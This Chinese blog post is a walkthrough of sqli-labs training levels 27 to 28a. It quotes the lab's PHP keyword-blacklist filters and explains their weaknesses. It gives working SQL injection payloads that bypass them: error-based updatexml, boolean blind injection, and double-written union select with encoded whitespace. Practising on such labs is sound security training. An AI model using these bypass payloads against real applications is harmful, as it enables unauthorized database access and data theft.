当前位置: 首页 > news >正文

sqli-labs靶场通关笔记:第27-28a关 union、select过滤

第27关 union、select过滤

又加上了对select、union的过滤,看下源代码。

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		// 移除斜杠和星号
$id= preg_replace('/[--]/',"", $id);		// 移除双连字符(SQL注释符号)
$id= preg_replace('/[#]/',"", $id);			// 移除井号(SQL注释符号)
$id= preg_replace('/[ +]/',"", $id);	    // 移除空格
$id= preg_replace('/select/m',"", $id);	    // 多行模式下移除select(区分大小写)
$id= preg_replace('/[ +]/',"", $id);	    // 再次移除空格
$id= preg_replace('/union/s',"", $id);	    // 单行模式下移除union(区分大小写)
$id= preg_replace('/select/s',"", $id);	    // 单行模式下移除select(区分大小写)
$id= preg_replace('/UNION/s',"", $id);	    // 单行模式下移除UNION(全大写)
$id= preg_replace('/SELECT/s',"", $id);	    // 单行模式下移除SELECT(全大写)
$id= preg_replace('/Union/s',"", $id);	    // 单行模式下移除Union(首字母大写)
$id= preg_replace('/Select/s',"", $id);	    // 单行模式下移除Select(首字母大写)
return $id;
}

可以采用大小写混合绕过和双写绕过。

但是有的情况不一定生效,所以用其他办法也可以,这里直接报错注入。

?id=1'||updatexml(1,concat(0x7e,database()),3)||'

第27a关 过滤union、select后的双引号闭合布尔盲注

没有具体报错回显,使用布尔盲注。

?id=1"%0band%0blength(database())>7%0band "1"="1

 

 第28关 union、select的优化过滤

查看源代码,相比27关对代码进行了优化精简,移除了单个关键字过滤,修改为union、select组合过滤,优化了正则表达式,使用了 /i(不区分大小写),\s(匹配任何空白字符)修饰符

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				// 移除斜杠和星号
$id= preg_replace('/[--]/',"", $id);				// 移除双连字符
$id= preg_replace('/[#]/',"", $id);					// 移除井号
$id= preg_replace('/[ +]/',"", $id);	    		// 移除空格字符
//$id= preg_replace('/select/m',"", $id);	   			// (已注释)移除select关键字
$id= preg_replace('/[ +]/',"", $id);	    		// 再次移除可能出现的空格
$id= preg_replace('/union\s+select/i',"", $id);	    // 移除union和select组合(不区分大小写)
return $id;
}

28关代码通过组合检测和简化规则提高了效率,但相比27关代码可能降低了防护全面性。例如,28关代码无法防范单独使用 select 或 union 的注入,而第一段代码对这些情况有专门的过滤。

思路是双写绕过(本关不能使用报错注入,无报错回显),代码如下:

?id=0')%0aununion%0aselection%0aselect%0a1,database(),3%0aand('1

 ?id=0')%0aununion%0aselection%0aselect%0a1,database(),3%0aand('1

 %0a替换空格,代码会移除union select组合,这样前面的un和后面的ion select就会被拼接成union select语句而产生注入。

 

第28a关 仅过滤union select组合的注入

看代码,这一关只保留了对union select组合的过滤,直接双写绕过。

?id=0') ununion selection select 1,database(),3 and ('1

 

http://www.dtcms.com/a/285535.html

相关文章:

  • Maven下载安装与idea配置
  • 2G和3G网络关闭/退网状态(截止2025年7月)
  • EaseUS Partition Master Free Edition进行磁盘重分配
  • OpenTelemetry学习笔记(四):OpenTelemetry 语义约定,即字段映射(1)
  • 中国​​2771个县级行政区​​的​​月度CO₂排放数据(2013–2021)
  • 现代R语言【Tidyverse、Tidymodel】的机器学习方法
  • TrOCR: 基于Transformer的光学字符识别方法,使用预训练模型
  • 基于Ubuntu22.04源码安装配置RabbitVCS过程记录
  • python实现Markdown转化PDF的方案
  • Windows8.1安装哪个版本的vscode?
  • 电脑插上u盘不显示怎么回事
  • 阿里云OSS预签名URL上传与临时凭证上传的技术对比分析
  • 前端基础——B/S工作原理、服务器与前端三大件
  • C++ :vector的介绍和使用
  • 管家婆软件价格跟踪管理:查询、新增、修改、删除
  • 小架构step系列18:工具
  • 抗辐照与国产替代:ASM1042在卫星光纤放大器(EDFA)中的应用探索
  • 相机长焦个短焦
  • gin数据解析和绑定
  • CentOS 7 配置环境变量常见的4种方式
  • 【Python】DRF核心组件详解:Mixin与Generic视图
  • (5)颜色的灰度,亮度,对比度,透明度,都啥意思
  • IDEA 2024.1 配置 MyBatis Generator 详细教程
  • PostgreSQL技术大讲堂 - 第97讲:PG数据库编码和区域(locale)答疑解惑
  • SQLite / LiteDB 单文件数据库为何“清空表后仍占几 GB”?——原理解析与空间回收实战
  • 基于单片机智能浇花控制系统设计
  • 短视频矩阵系统:选择与开发的全面指南
  • Instagram千号矩阵:亚矩阵云手机破解设备指纹检测的终极方案
  • Hadoop与云原生集成:弹性扩缩容与OSS存储分离架构深度解析
  • ThreadLocal 在 Spring 与数据库交互中的应用笔记